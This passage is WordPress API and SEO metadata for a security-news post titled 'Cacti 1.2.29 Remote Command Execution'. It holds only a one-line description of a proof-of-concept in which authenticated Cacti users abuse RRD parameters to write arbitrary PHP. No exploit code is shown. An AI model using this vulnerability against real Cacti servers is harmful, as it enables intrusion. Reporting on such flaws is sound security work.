content=\"{&#8220;lastseen&#8221;:&#8221;2025-12-08T15:28:13&#8243;,&#8221;description&#8221;:&#8221;Proof of concept exploit that demonstrates how authenticated users with access to Graph Templates in Cacti can abuse RRD invocation parameters to write arbitrary PHP...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=29319\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-12-08T09:42:02+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"12 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=29319#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=29319\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Cacti 1.2.29 Remote Command Execution_PACKETSTORM:212534\",\"datePublished\":\"2025-12-08T09:42:02+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=29319\"},\"wordCount\":2340,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-8.8\",\"exploit\",\"HIGH\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=29319#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=29319\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=29319\",\"name\":\"\ud83d\udcc4 Cacti 1.2.29 Remote Command Execution_PACKETSTORM:212534 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-12-08T09:42:02+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=29319#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=29319\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=29319#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Cacti 1.2.29 Remote Command Execution_PACKETSTORM:212534\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Cacti 1.2.29 Remote Command Execution_PACKETSTORM:212534 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=29319","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Cacti 1.2.29 Remote Command Execution_PACKETSTORM:212534 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-12-08T15:28:13&#8243;,&#8221;description&#8221;:&#8221;Proof of concept exploit that demonstrates how authenticated users with access to Graph Templates in Cacti can abuse RRD invocation parameters to write arbitrary PHP...","og_url":"https:\/\/zero.redgem.net\/?p=29319","og_site_name":"zero redgem","article_published_time":"2025-12-08T09:42:02+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"12 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=29319#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=29319"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Cacti 1.2.29 Remote Command Execution_PACKETSTORM:212534","datePublished":"2025-12-08T09:42:02+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=29319"},"wordCount":2340,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-8.8","exploit","HIGH","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=29319#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=29319","url":"https:\/\/zero.redgem.net\/?p=29319","name":"\ud83d\udcc4 Cacti 1.2.29 Remote Command Execution_PACKETSTORM:212534 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-12-08T09:42:02+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=29319#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=29319"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=29319#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Cacti 1.2.29 Remote Command Execution_PACKETSTORM:212534"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/29319","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=29319"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/29319\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=29319"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=29319"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=29319"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}